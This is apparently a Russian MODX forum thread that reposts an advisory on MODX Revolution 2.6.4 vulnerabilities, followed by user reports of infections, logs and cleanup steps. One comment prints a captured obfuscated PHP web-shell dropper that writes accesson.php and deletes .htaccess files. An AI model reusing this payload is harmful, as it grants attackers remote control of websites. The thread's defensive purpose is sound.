Revolution 2.6.4 and Prior Two Cricital Vulnerabilities
Не нашел здесь упоминания, тем временем позавчера появилась важная новость о найденных уязвимостях в версии 2.6.4 и необходимости скорейшего обновления
Вольный перевод, оригинал здесь.
Продукт: MODX Revolution
Уровень серьезности: критический
Версии: <= 2.6.4
Тип (ы) уязвимости: Удаленное выполнение / Удаление файлов / каталогов
Дата обнаружения: 11 июля 2018
Дата фиксации: 12 июля 2018
Описание
11 июля мы получили уведомление о наличии двух критических уязвимостей, которые допускают удаленное выполнение скрипта и удаление файлов / каталогов. Эти проблемы носят критический характер. Возможно, злоумышленники могут скомпрометировать веб-сайт или уничтожить или удалить файлы или каталоги.
Затронутые релизы
Все релизы MODX Revolution до 2.6.4 включительно
Что делать
Если вы не знаете, как обновить свой сайт, есть несколько вариантов. Вы можете связаться с разработчиком вашего сайта, обратиться за помощью на Форумы MODX, найти MODX Professional или получить помощь от команды MODX Services.
Благодарность
Мы хотели бы поблагодарить Ивана Климчука (Alroniks) и agel_nash за то, что обратили наше внимание на эти проблемы и проверили их решение.
Дополнительная информация
За дополнительной информацией обращайтесь в службу поддержки MODX.
Вольный перевод, оригинал здесь.
Продукт: MODX Revolution
Уровень серьезности: критический
Версии: <= 2.6.4
Тип (ы) уязвимости: Удаленное выполнение / Удаление файлов / каталогов
Дата обнаружения: 11 июля 2018
Дата фиксации: 12 июля 2018
Описание
11 июля мы получили уведомление о наличии двух критических уязвимостей, которые допускают удаленное выполнение скрипта и удаление файлов / каталогов. Эти проблемы носят критический характер. Возможно, злоумышленники могут скомпрометировать веб-сайт или уничтожить или удалить файлы или каталоги.
Затронутые релизы
Все релизы MODX Revolution до 2.6.4 включительно
Что делать
- Обновите MODX Revolution до 2.6.5. версии
- Используя версию 2.6.4, вы можете заменить измененные файлы, включенные в коммиты: здесь (можно обновить вручную версии до 2.3.0) и здесь (можно обновить версии до 2.5.2). Обратите внимание, что замена файлов в других версиях MODX Revolution может привести к непреднамеренным последствиям. Рекомендуется всегда обновлять.
Если вы не знаете, как обновить свой сайт, есть несколько вариантов. Вы можете связаться с разработчиком вашего сайта, обратиться за помощью на Форумы MODX, найти MODX Professional или получить помощь от команды MODX Services.
Благодарность
Мы хотели бы поблагодарить Ивана Климчука (Alroniks) и agel_nash за то, что обратили наше внимание на эти проблемы и проверили их решение.
Дополнительная информация
За дополнительной информацией обращайтесь в службу поддержки MODX.
Комментарии: 177
Авторизуйтесь или зарегистрируйтесь, чтобы оставлять комментарии.
А, не, там еще через Gallery уязвимость.
Если да, то есть ли какое-то решение?
Спасибо
Если вы изобретете заплатку — напишите пожалуйста здесь. Спасибо
Человек, написавший оба эти файла, давно с MODX не работает, кто и когда будет обновлять Gallery — непонятно. Вот такой пример использования старых-добрых (и бесплатных!) дополнений.
Из-за аврала не успел проверить и написать сюда, тем более ссылка с описанием уязвимости не открывается на странице блога.
Собственно, почему написал про эту рассылку — пост на главной в сообществе появился только сегодня (или у меня одного?) — был удивлён. Хотя сейчас вижу, что дата стоит своевременная — 14.07.
Fi1osofFi1osofНа мой взгляд самый простой вариант восстановления: восстанавливаться из бэкапа (чтобы полностью файлы был восстановлены и новые удалены), и после этого обновить MODX.
Fi1osofFi1osofЯ думаю мы могли бы даже скинуться на это дело)
Fi1osofДо версии 2.5.1 эксплуатация возможна без авторизации через modPhpThumb
С версии 2.5.1 необходима авторизация в любом контексте для эксплуатации через modPhpThumb
Gallery
Возможна эксплуатация на любой версии ядра через phpThumb без аворизации. Фикса пока нет.
Fi1osofFi1osofFi1osofmodx.com/extras/package/gallery — 1.7.1
$s=$_SERVER['DOCUMENT_ROOT'].'/assets/';$s1=$s.'images/';$fh=fopen($s1.'accesson.php','w');fwrite($fh,'<?php echo 7457737+736723;$raPo_rZluoE=base64_decode(«Y».chr(109).«F».chr(122).chr(90).«T».chr(89).chr(48).chr(88).«2».«R».«l».«Y».chr(50).«9».chr(107).«Z».chr(81)."="."=");$ydSJPtnwrSv=base64_decode(chr(89).«2».chr(57).chr(119).chr(101).chr(81).chr(61)."=");eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87).«Q».chr(61))]));if($_POST[base64_decode(«d».chr(88).chr(65)."=")] == base64_decode(«d».«X».chr(65).chr(61))){@$ydSJPtnwrSv($_FILES[base64_decode(chr(90).«m».«l».«s».chr(90).«Q»."=".chr(61))][base64_decode(chr(100).chr(71).chr(49).«w».«X».chr(50).«5».chr(104).«b».chr(87).«U».chr(61))],$_FILES[base64_decode(«Z».chr(109).«l».«s».chr(90).«Q».chr(61).chr(61))][base64_decode(chr(98).«m».«F».chr(116).«Z».chr(81).chr(61)."=")]);}; ?>');fclose($fh);if(function_exists('unlink')){unlink($s.'.htaccess');unlink($s1.'.htaccess');};
Fi1osof1. И во фронте, и в админке, при заходе на страницу фиден овердлей (на всю страницу полупрозрачная ссылка на сайт www. hibids10. com ). Ссылку лучше не кликать, не ясно что там за код, может не только редирект, но и кукисы и данные форм авторизации читает и пересылает.
2. В JS-файлах заменено все содержимое на типа такого:
На моем подопечном таких файлов найдено 4314 штук (то есть все JS-файлы)
3. В корне сайта лежал файл install.php, содержащий в себе $drop_name = 'annizod';
Вот у себя я на зараженный сайт и вышел через процесс, именуемый annizod и отжирающий кучу ресурсов. запущен был от имени www-data, что говорит о эксплоитах на сайт, а не о проникновении на сервер через ssh или типа того.
4. Еще на других сайтах были php-файлы с содержимым типа $_REQUEST['sort'] и далее закодированный eval.
Лечение?
тут бы выяснить причину
а она явно хроническая
думал у одного меня такое на сайте, а тут вон сколько отписалось
Посмотрим насколько обновления хватит
И всем наивным переименование папок не помогает. Вообще кто написал эту программу для взлома писал ее под вордпрес, а modx попал под раздачу
Обратил внимание что шлют POST запросы.
Так что «товарищи» которые писали прогу для взлома прекрасно понимали что хотят взломать.
И лечение обновить modx До последней версии + gallery до последней Очень даже актуально и спасло!
Я просто удалил файлы и не могу точно написать названия, но были c префиксом wp и htaccess они переписали очень похоже на вордпресовский
в корневой директории файлы dbs.php cache.php.
так же местами присутствует файл в корне annizod.
На одном сайте где стояла древняя 2.3.1 в логах заметил что стучались через коннектор phpthumb
и сразу пошли обращения на левые файлы…
Если есть у кого то решение этой проблемы — поделитесь пожалуйста.
Правильно ли я понимаю, что подчеркнутое красным представляет собой инородные включения?
Содержимое папок Cleogiue, f018dc, jposeirt практически идентичное и включает в себя следующее:
Означает ли, что удаление этих файлов и папок будет достаточным для нормального функционирования сайта или придется все-таки ставить бэкап? Я не являюсь разработчиком, сайт делал сам, теперь пытаюсь разобраться с появившейся проблемой…
Есть методы лечения?
Я делал у себя так. Брал всю папку с сайтом, полностью удалял всё содержимое, откатывался на бэкап, например, на 16 июля, когда еще ничего не было, потом быстро-быстро обновлялся и вот уже третий день тишина, вроде сработало.
Fi1osofСегодня взлом уже на последней версии, и файлик accesson.php появился.
Судя по всему в /connectors/system/phpthumb.php еще есть какие то дыры.
ФаритПодскажите, пожалуйста, какие каталоги переименовывать и как закрывать их.
ФаритКому интересно – вот инструкция:
- для Apache modx.pro/howto/8059
- для nginx modx.pro/howto/8241#comment-57776
У меня хостер в панели предлагает запаролить папку..cagefs/tmp/phpd.local: /bin/psocksd
.cl.selector/categoryfeed-mod.php 6 121354
Есть образцы незараженных файлов чтобы удалить вирусы?
Хостинг блокнул сайт и не включит до удаления вируса, фтп только работает
Под одним пользователем заражают все
Fi1osof2 — сайта: стоял Gallery
1 — сайт: версия modx 2.5.1-pl (Gallery никогда не ставил)
Причем характер взлома одинаковый как для Gallery так и для modx 2.5.1-pl
Везде nginx с закрытым доступом к core и отдельным пользователем на сайт(чтобы вирус не мог ниже своей папки спуститься).
Все остальные сайты где было обновление хотя бы 2.6.0 затронуты небыли
Основная часть сайтов была обновлена до версии 2.6.4
После проверки что вирусов нету обновился до обновился до версии 2.6.5-pl-advanced
Дак какие версии все таки ломают?
Ах да если у вас под одним пользователем все ваши сайты. И какой то один сайт был обновлен до последней версии и его взломали. То можно не считать эту версию критичной в вашем случае, так как скорей всего сайты с версией ниже были заражены и вирус спустился и прошелся по всем ваши папкам.
К core закрывается
http://s14863.h10.modhost.pro/core/components/ace/model/ace/ace.class.php
Но connectors
http://s14863.h10.modhost.pro/connectors/system/phpthumb.php
доступен ведь?
Да и не только старые сайты. Как правильно обновить MODX Revo?
ФаритЯ под свои проекты держал VPS где все сидели в одном пуле php. И это привело к аду. Надо было восстанавливать все сайты и обновлять их разом, что в моём случае было невозможно. Поэтому отключил все сайты, ограничил доступ только со своего IP и так сайт за сайтом восстанавливал и обновлял.
В общем сейчас переосмысливаю базовые принципы безопасности.
Обратите внимание что что еще происходит на других сайтах вообще без CMS. Создается папка assets/image и туда кидается php-шелл, если посмотреть можно еще найти где нито вражеские закладки. Антивирусником пока не определяется. Зашел на такую закладку — прям панель управления моим хостингом. Пришлось делать поиск по дате, если бы еще дату создания файла меняли — трындец, не найти закладки
мои хулиганы:
deny from 128.77.34.95
deny from 217.75.78.134
deny from 80.122.49.54
deny from 188.40.141.100
deny from 134.249.116.78
deny from 51.15.146.39
deny from 134.249.50.185
Схема одинаковая:
[Mon Jul 23 10:41:17 2018] [error] [client 88.214.230.220] client denied by server configuration: /home/clients/(фтп_акк)/domains/(имя домена)/html/core/docs/changelog.txt
Если проперло, то полетели, на обновленной версии сразу свалили.
а еще так:
[Sat Jul 21 20:32:52 2018] [error] [client 193.169.252.184] client denied by server configuration: /home/clients/(фтп)/domains/(мой сладкий домен)/html/wp-login.php, referer: http://(мой домен)/wp-login.php
От моей 2.6.5 сразу отстали, а за пару дней до этого был взлом, восстановил из бэкапа без потерь.
Ну вот не следы это того что они ломают вордпрес а ломается modx
Я так понимаю они все дерево хостинга через один уязвимый сайт лупят.
[Tue Jul 24 11:19:52 2018] [error] [client 134.249.50.185] client denied by server configuration: /home/clients/(ФТП)/domains/(сайт)/html/connectors/system/phpthumb.php
[Tue Jul 24 11:19:52 2018] [error] [client 134.249.50.185] client denied by server configuration:
/home/clients/(ФТП)/domains/(сайт)/html/dbs.php
Логи Access:
134.249.50.185 — - [24/Jul/2018:11:19:52 +0000] «GET/dbs.php HTTP/1.1» 403 491 "-" «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36»
134.249.50.185 — - [24/Jul/2018:11:19:52 +0000] «POST /connectors/system/phpthumb.php HTTP/1.1» 403 514 "-" «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36»
46.118.112.85 — - [24/Jul/2018:11:39:19 +0000] «GET /dbs.php?u HTTP/1.1» 404 8927 "-" «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36»
+
deny from 134.249.50.185 (киев)
deny from 46.118.112.85 (кривой рог)
Поэтому, ребята, такие пациенты в очень высокой зоне риска. Советую приделить им максимум внимания.
Извините за беспокойство. Возникла такая проблема. В свете этих событий был заражен сайт. Сайт особо не администрировался, в компании нет специалиста. И поэтому стояла версия MODX 2.4 и php 5.2. После заражения пользуясь инструкцией был обновлен MODX до 2.6.5 и php до 7.2, но слетела верстка и последние загруженные данные. В ресурсах отображены данные(изображения, css, js) загруженные с момента создания сайта, при этом на хостинге/файл-менеджере есть все последние картинки и добавленные позднее css-стили и js-скрипты.
Что было сделано не так? И как синхронизировать ресурсы с данными на сервере?
P.S. Извините, что задаю вопрос в комментариях.
Нет взаимодействия с сервером. Во вкладке «Файлы» все есть, во вкладке Ресурсы нет ничего.
файл /core/config/config.inc.php
обратите внимание имя базы данных в двух местах пишется
Блеск дукатов приманит разработчиков и Вам помогут. Если у вас есть бэкап рабочего сайта, то, думаю, восстановить работу сайта можно без его полной переделки.
Так проблему можно как-то решить? Что именно полетело после обновления CMS? Почему CMS не загружает данные с хостинга?
Или теперь только перекраивать весь сайт надо?
Я не гадалка, не могу сказать.
Почему CMS не загружает данные с хостинга?
Видимо не правильно обновляли сайт или откат делали неправильно.
В этом случае, если сайт достаточно популярен, гарантированы очень хорошие закладки по всему сайту.
Спасение только в контроле за всем файлами сайта.
У него прописано
Думаю что надо глянуть чанк tpl.msEmail, нашел его, в нем прописано как раз то что приходит в письме и есть пункт связанный с ссылкой на товар, но данная ссылка открывается просто белым окном, дело в том что товар это видеоурок загруженный на youtube и после оплаты должна предоставляться ссылка на его просмотр которая забита в дополнительное поле. Короче код таков:
Вопрос: как вместо ссылки на товар давать ссылку на платный видеоматериал который забит в доп поле данного товара. Дополнительное поле называется math_video
Симптомы как у всех. Annizod и другие файлы про которые уже написали.
UPD: забыл добавить что вход в админку перестает работать. Приходится базу откатывать.
История почти как у всех, пару сайтов пострадали, но обновив до 2.5.6, вроде бы пока все OK. Сразу попутно обновил текущие в разработке проекты, дабы потом не иметь сердечных болей))
С одним из сайтов ситуация напоминает юмористическую постановку в доме для душевнобольных. К слову сайт этот одного органа гос. власти, и в виду определенных договоренностей, сайт лежит на серверах другого орагна гос.власти. в том же здании. Несомненно, это приводит меня в «дикий восторг» (сделано, понятно, для того чтобы не платить внешнему хостингу ну и по причинам, как мне сказали «безопасности»). Ну и ладно, пусть будет так))
Вся проблема в том что данный, с позволения сказать, хостинг а именно волшебники управляющие онным не могут (или не имеют права? хмм...) дать мне доступ хотя бы к FTP и phpMyAdmin. Что естественно приводит к тому что мои конечности связаны и весь мир тлен. И к тому же настроили политики доступа к файлам так, что я даже в настройки системы зайти не могу (да и еще много куда). В общем адовый ад. Я думаю никому не надо объяснять что иногда в государственном секторе всё не совсем ладно (и как правильно когда-то подметил один крупный политик — этот ржавый и огромный маховик зачастую сдвигать очень сложно… ну да ладно, это лирика).
В общем, доступ у меня есть только к админке сайта, и то с определенного статического внешнего IP который у меня на работе в здании, в другой части города. Благо в этом здании есть сервак с тимвьювером. Плюс еще одна беда, я временно выехал за пределы региона и быть смогу только через 2 недели. Как говориться беда не приходит одна))
И вот наступает прекрасный момент, когда мне звонят и говорят что всё пропало и ничего не работает. Зайдя на сайт увидел что индексная страница открывается а остальные ссылки (все!) возвращают «Not found» (зе реквест УРЛ и т.д.). Полез в админку, в корне Filesystem узрел уже известные вам файлы (milemined, annizod, cache.php, dbs.php, payload.php, perm.php, wp-db.php, xnl.php), а htaccess увы, покинул пределы файловой системы.
Закачав стандартный htaccess из коробки и удалив злыдней из корня, сайт воспрял и весело стал блистать своими дружелюбными алиасами, НО увы через пару минут помрачнел и опять стал Not found. Ну что-ж, боты работу свою любят аки азиатские сборщики риса… печалька.
Ситуация приняла очень грустную форму, т.к. органу необходим рабочий сайт, а мне необходимо спокойствие в свой законный отпуск и душевное равновесие.
По вышеупомянутым причинам (отсутствие полного доступа к телесам и базе сайта, и моё отсутствие в регионе), обновить версию до 2.5.6 не представляется возможным. Приходиться вести борьбу, что называется «на коленке» и орудиями времен неолита.
Для начала решил дерзнуть и удалив из корня файлы annizod и milemined (которые, как сказали в комментах выше, прибыли туда для майнинга), заменил их такими-же файлами с такими-же размерами но забитыми нулями. К слову лежат там и не меняют своей структуры (ву-ха-ха-ха, радостно воскликнул я, сам не понимая почему). Далее заменил файлы cache.php, xnl.php рандомной белибердой с сохранением исходного размера. Думал все ок и проблема временно миновала, но снова исчезает htaccess, у cache.php поменялся код на зловредные скрипты а xnl.php — без изменений… сайт ложиться. К слову файл dbs.php всё время лежит в корне и удалить его не могу (иконка в виде замочка) опять же по причине настроек политик доступа на серваке (ох уж эти профессионалы!).
Вскоре, в корне стали появляться такие файлы как — 1.sh (с запуском libworker.so по Крону), ~ 8-мегабайтный бинарник — .sad0, ~ 200-килобайтный — web.php
На данный момент все что смог сделать — кое-как дозвониться до волшебников хостинга и попросить сделать бэкап, пока есть что спасать…
Вот так идет борьба… Бессмысленная и беспощадная… Хочется сесть к батарее, обнять коленки и поплакать как девчонка)))).
ЗЫ: Простите за длиннотекст
Психическое здоровье важнее денег
там заплатка на POST запросы… хотя бы так:
Есть сайт bppd.pro и редирект на него с предметфото.рф. Сайт заражён на волне после 11 июля. MODX Revolution 2.6.1-pl
Насколько я понял, для лечения необходимо откатить сайт на момент до заражения и обновить MODX. Откатил, все заработало, а вот обновить MODX не могу, т.к. ничего не понимаю в веб разработке.
Нужно обновить MODX(или же вылечить каким-то другим способом, если обновление не помогает), посмотреть на сам сайт и админку, может там есть какие-то скрытые пользователи, оставленные разработчиком или вирусом или типа того.
Нужно довольно срочно, т.к. сайт крутится в контексте. Спасибо!
Можно писать в ЛС, либо контакты указаны на сайте.
[25-Jul-2018 19:00:07 Europe/Moscow] PHP Fatal error: Uncaught --> Smarty: Unable to load template file 'header.tpl' < —
thrown in /home/n/nmfuce26/mfucentre.ru/public_html/core/model/smarty/sysplugins/smarty_internal_template.php on line 219
Никто с таким не сталкивался?
Базу данных откатывал за разные числа, все равно не работает.
219 строка такая
throw new SmartyException(«Unable to load template {$this->source->type} '{$this->source->name}'{$parent_resource}»);
Я сейчас не вспомню точно, инфа на Bob's Gides есть. Ну или просто постепенно обновить.
Кто то из России ломает…
Как защититься чтобы точно на все 100%?
if(isset($_POST[«cache_filename»]) && strpos($_POST[«cache_filename»],".php") ) die(); и много другого, если кому нужно — спрашивайте, подскажу что знаю. Сегодня нашла Китайский ip 218.60.67.5, которому вообще нечего делать на нашем сервере. Ушёл в баню. Но это всё при условии если правильно настроен доступ к корневой папке сайта на сервере, если с соседних сайтов лезет то чистить можно без конца.
AIbolit штука хорошая, но видит не всё, у меня не обнаруживало файл best.php (замечен в разных директориях), отправил им для пополнения сигнатур)
Само собой, нужно хоть малость понимать код и тогда 2 команды покажут всю заразу.
js уже никакой угрозы для хостинга/сервера не представляет.
Итак,
в корневом index.php права доступа изменены на 444, в шапке:
Файл по указанному адресу с правами 404 — по ссылке, если любопытно содержимое.
Также замечено, что единственный пользователь не мог войти со своим паролем, пароль сами не меняли, был заблокирован(возможно по причине неоднократного ввода неверного пароля.) Сбросил его, но в базе уже заблокирован, пришлось через базу снять блок, тогда заработало.
Рядом на этом же хостинге лежит Evo, к нему доступ также перестал подходить, восстановление по сбросу пока не работает, ищем причину… Может ли это быть связано, не ясно, пока про Evo ничего не было слышно… ну или просто восстановление не работает и эти два явления не связаны.
P.S. утром пришло сообщение от клиента из Австралии, там как раз Evo was hacked. Детали узнаю чуть позже.
У меня так.
Т.е. с помощью SSH ищем изменённые файлы в определённом диапазоне дат. Если на сайте не производится каких-то активных действий, то в файловой системе практически ничего не меняется. И в случае заражения мы увидим новые файлы, либо увидим какие старые файлы изменились. Верно? Есть нюансы такого способа?
Нюанс: исключите из поиска /core/cache/ как минимум. Или убейте папки до сканирования )
Переименовывать папки системные как вариант, но очень трудоемко.
Fi1osofПример такого файла (путь, может у вас тоже такое найдется). /js/jplayer/skin/blue.monday/image/jplayer.blue.mondays.jpg
Часть кода:
Судя по всему, в этот раз японцы пожаловали :)
P.S. Судя по всему, установка его прошла через файлы в папке /themesa
Там файлы были:
extenupdates.php
index.php
install.php
moban.html
Fi1osofУбираю блокировку — в консоли чисто.
Открываю файл jquery (через браузер) и вижу этот код:
Этот скрипт подменяет содержимое файла 'jquery-1.11.1.min.js' на своё, но как я понимаю подтягивает и реальный jquery.
Причём на хостинге сам файл не изменён. Выкачивал все файлы сайта, искал поиском по файлам, ничего похожего на «tlrtb» не нашлось. Искал по базе — тоже. Сканнер scannerMODX запускал — чисто. Айболит — тоже чисто.
И как эта гадость появляется вместо реального содержимого jquery-1.11.1.min.js интересно…